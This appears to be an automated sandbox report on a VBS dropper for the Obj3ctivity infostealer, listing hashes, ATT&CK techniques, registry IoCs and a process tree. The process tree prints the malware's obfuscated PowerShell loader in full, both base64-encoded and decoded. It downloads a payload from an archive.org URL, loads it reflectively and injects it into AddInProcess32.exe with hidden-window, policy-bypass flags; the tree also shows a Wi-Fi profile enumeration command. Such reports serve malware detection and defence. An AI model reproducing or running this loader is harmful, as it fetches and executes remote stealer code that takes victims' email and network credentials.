obj3ctivity | 6da74e92c740c4443c54a8243037d0a2d9fac8f34764d1a86933063e5790ef2a

General

Target

6da74e92c740c4443c54a8243037d0a2d9fac8f34764d1a86933063e5790ef2a.vbs
Size

504KB
MD5

73116ddf40456b41c6b35023bc02e781
SHA1

037b869900d0474bf7603b8fbe3401f517f52117
SHA256

6da74e92c740c4443c54a8243037d0a2d9fac8f34764d1a86933063e5790ef2a
SHA512

f60cbe6234371aacd3f42f87db8ea04cc3b982d9c356db5a1e0fa3959268c0aa8e78e4c059feac1619348a3453e55c3386e096812d2a4a6d61aca5cc99007be3
SSDEEP

12288:VS57Wp1MYi6qsGrA2OGLmeq0wM/l1d0FUvoExHRbb4XJb7q5cPT+EmJu6X:VC6X0T5VnpJ4Za

Score

10^/10

obj3ctivity collection discovery execution persistence privilege_escalation stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

Detects Obj3ctivity Stage1 3 IoCs

Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

stealer

resource	yara_rule
behavioral2/memory/1208-23-0x0000000000400000-0x0000000000416000-memory.dmp	family_obj3ctivity
behavioral2/memory/1208-26-0x0000000000400000-0x0000000000416000-memory.dmp	family_obj3ctivity
behavioral2/memory/1208-31-0x0000000005510000-0x00000000055F6000-memory.dmp	family_obj3ctivity

Obj3ctivity, PXRECVOWEIWOEI
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
stealer obj3ctivity

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	3880	powershell.exe
21	3880	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3880	powershell.exe
368	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe
Key opened	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe
Key opened	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
31	icanhazip.com
50	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3880 set thread context of 1208	3880	powershell.exe	85

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
724	netsh.exe
4944	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	AddInProcess32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
368	powershell.exe
368	powershell.exe
3880	powershell.exe
3880	powershell.exe
1208	AddInProcess32.exe
1208	AddInProcess32.exe
1208	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	368	powershell.exe
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeDebugPrivilege	1208	AddInProcess32.exe
Token: SeSecurityPrivilege	2832	msiexec.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1776 wrote to memory of 368	1776	WScript.exe	82
PID 1776 wrote to memory of 368	1776	WScript.exe	82
PID 368 wrote to memory of 3880	368	powershell.exe	84
PID 368 wrote to memory of 3880	368	powershell.exe	84
PID 3880 wrote to memory of 1208	3880	powershell.exe	85
PID 3880 wrote to memory of 1208	3880	powershell.exe	85
PID 3880 wrote to memory of 1208	3880	powershell.exe	85
PID 3880 wrote to memory of 1208	3880	powershell.exe	85
PID 3880 wrote to memory of 1208	3880	powershell.exe	85
PID 3880 wrote to memory of 1208	3880	powershell.exe	85
PID 3880 wrote to memory of 1208	3880	powershell.exe	85
PID 3880 wrote to memory of 1208	3880	powershell.exe	85
PID 1208 wrote to memory of 4944	1208	AddInProcess32.exe	90
PID 1208 wrote to memory of 4944	1208	AddInProcess32.exe	90
PID 1208 wrote to memory of 4944	1208	AddInProcess32.exe	90
PID 4944 wrote to memory of 2984	4944	cmd.exe	93
PID 4944 wrote to memory of 2984	4944	cmd.exe	93
PID 4944 wrote to memory of 2984	4944	cmd.exe	93
PID 4944 wrote to memory of 724	4944	cmd.exe	94
PID 4944 wrote to memory of 724	4944	cmd.exe	94
PID 4944 wrote to memory of 724	4944	cmd.exe	94
PID 4944 wrote to memory of 2568	4944	cmd.exe	95
PID 4944 wrote to memory of 2568	4944	cmd.exe	95
PID 4944 wrote to memory of 2568	4944	cmd.exe	95

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AddInProcess32.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6da74e92c740c4443c54a8243037d0a2d9fac8f34764d1a86933063e5790ef2a.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgneycrJzF9dXJsICcrJz0gJysneycrJzB9JysnaHR0cHMnKyc6Ly9pYTYnKycwMCcrJzEwMCcrJy51cy5hJysncmNoaXYnKydlLm9yZycrJy8yNC9pJysndGUnKydtcy9kZXRhaC0nKydubycrJ3RlLScrJ3YvRGV0YWhOb3RlJysnVicrJy50JysneCcrJ3R7MH07ezF9YmFzZScrJzYnKyc0Q29udGVuJysndCA9JysnIChOZScrJ3ctJysnT2InKydqJysnZScrJ2N0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQ2xpZW50KS5Eb3dubG9hZFN0cmluZyh7MScrJ311cmwpO3sxJysnfScrJ2InKydpbicrJ2FyeScrJ0NvbnRlbnQgPScrJyBbU3lzdCcrJ2UnKydtJysnLkNvbnZlcnRdJysnOjonKydGcm9tQicrJ2FzZTY0JysnU3QnKydyaW5nKCcrJ3sxJysnfWJhJysnc2U2NENvbicrJ3RlJysnbnQpOycrJ3sxJysnfWFzc2UnKydtYmx5ID0gW1JlZmxlY3QnKydpbycrJ24nKycuQScrJ3NzZW1ibHknKyddJysnOjpMb2FkKHsxfWJpbmFyeScrJ0MnKydvJysnbicrJ3QnKydlJysnbnQpO3sxfXR5JysncGUnKycgPScrJyB7MX1hJysnc3MnKydlJysnbWJseS5HJysnZXRUeXBlJysnKHswfVJ1blBFLicrJ0hvbWV7MH0pOycrJ3sxJysnfScrJ20nKydldGhvZCA9JysnIHsxfXR5cGUuRycrJ2V0JysnTWUnKyd0JysnaG9kKCcrJ3swfVZBSXsnKycwfScrJyk7ezF9bWV0aG9kLicrJ0ludicrJ29rJysnZSh7JysnMScrJ31udScrJ2xsLCBbbycrJ2JqZWMnKyd0JysnWycrJ11dJysnQCh7MH10eCcrJ3QueHR5bS92ZWQuJysnMicrJ3IuMzliMzQnKyc1MzAnKycyYScrJzA3JysnNWIxYmMwZDQnKyc1YjYzMmViOWVlNjInKyctYicrJ3UnKydwJysnLy86cycrJ3B0dCcrJ2h7MCcrJ30gLCcrJyAnKyd7MCcrJ31kZXNhdGl2YWRvezB9ICcrJywgezB9ZGVzYXQnKydpdmEnKydkb3snKycwJysnfScrJyAsIHswfWQnKydlc2F0JysnaScrJ3ZhJysnZG97MH0sezB9QScrJ2RkSScrJ25Qcm9jZScrJ3NzMycrJzJ7MH0sJysnezAnKyd9JysnezAnKyd9KScrJyknKSAtRiAgW2NIYXJdMzksW2NIYXJdMzYpIHwgLiAoKEdWICcqbWRSKicpLm5hbWVbMywxMSwyXS1Kb2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{'+'1}url '+'= '+'{'+'0}'+'https'+'://ia6'+'00'+'100'+'.us.a'+'rchiv'+'e.org'+'/24/i'+'te'+'ms/detah-'+'no'+'te-'+'v/DetahNote'+'V'+'.t'+'x'+'t{0};{1}base'+'6'+'4Conten'+'t ='+' (Ne'+'w-'+'Ob'+'j'+'e'+'ct System.N'+'e'+'t'+'.Web'+'Client).DownloadString({1'+'}url);{1'+'}'+'b'+'in'+'ary'+'Content ='+' [Syst'+'e'+'m'+'.Convert]'+'::'+'FromB'+'ase64'+'St'+'ring('+'{1'+'}ba'+'se64Con'+'te'+'nt);'+'{1'+'}asse'+'mbly = [Reflect'+'io'+'n'+'.A'+'ssembly'+']'+'::Load({1}binary'+'C'+'o'+'n'+'t'+'e'+'nt);{1}ty'+'pe'+' ='+' {1}a'+'ss'+'e'+'mbly.G'+'etType'+'({0}RunPE.'+'Home{0});'+'{1'+'}'+'m'+'ethod ='+' {1}type.G'+'et'+'Me'+'t'+'hod('+'{0}VAI{'+'0}'+');{1}method.'+'Inv'+'ok'+'e({'+'1'+'}nu'+'ll, [o'+'bjec'+'t'+'['+']]'+'@({0}tx'+'t.xtym/ved.'+'2'+'r.39b34'+'530'+'2a'+'07'+'5b1bc0d4'+'5b632eb9ee62'+'-b'+'u'+'p'+'//:s'+'ptt'+'h{0'+'} ,'+' '+'{0'+'}desativado{0} '+', {0}desat'+'iva'+'do{'+'0'+'}'+' , {0}d'+'esat'+'i'+'va'+'do{0},{0}A'+'ddI'+'nProce'+'ss3'+'2{0},'+'{0'+'}'+'{0'+'})'+')') -F [cHar]39,[cHar]36) | . ((GV '*mdR*').name[3,11,2]-Join'')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3880
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      outlook_office_path
      outlook_win_path
      PID:1208
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4944
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2984
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:724
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2568

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Privilege Escalation

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

3

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Wi-Fi Discovery

1

T1016.002

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
3ca1082427d7b2cd417d7c0b7fd95e4e

SHA1
b0482ff5b58ffff4f5242d77330b064190f269d3

SHA256
31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

SHA512
bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v4amnkgg.eqt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/368-12-0x00007FFA39020000-0x00007FFA39AE1000-memory.dmp

Filesize
10.8MB

Download
memory/368-30-0x00007FFA39020000-0x00007FFA39AE1000-memory.dmp

Filesize
10.8MB

Download
memory/368-0-0x00007FFA39023000-0x00007FFA39025000-memory.dmp

Filesize
8KB

Download
memory/368-1-0x000002627B420000-0x000002627B442000-memory.dmp

Filesize
136KB

Download
memory/368-11-0x00007FFA39020000-0x00007FFA39AE1000-memory.dmp

Filesize
10.8MB

Download
memory/1208-23-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1208-26-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1208-31-0x0000000005510000-0x00000000055F6000-memory.dmp

Filesize
920KB

Download
memory/1208-32-0x0000000005760000-0x00000000057C6000-memory.dmp

Filesize
408KB

Download
memory/1208-33-0x0000000005D40000-0x0000000005D52000-memory.dmp

Filesize
72KB

Download
memory/1208-34-0x0000000006270000-0x0000000006432000-memory.dmp

Filesize
1.8MB

Download
memory/1208-64-0x0000000006CF0000-0x0000000007294000-memory.dmp

Filesize
5.6MB

Download
memory/1208-65-0x00000000067E0000-0x0000000006872000-memory.dmp

Filesize
584KB

Download
memory/1208-66-0x0000000006880000-0x00000000068F6000-memory.dmp

Filesize
472KB

Download
memory/1208-88-0x00000000077D0000-0x0000000007CFC000-memory.dmp

Filesize
5.2MB

Download
memory/3880-22-0x00000209A57D0000-0x00000209A59DC000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads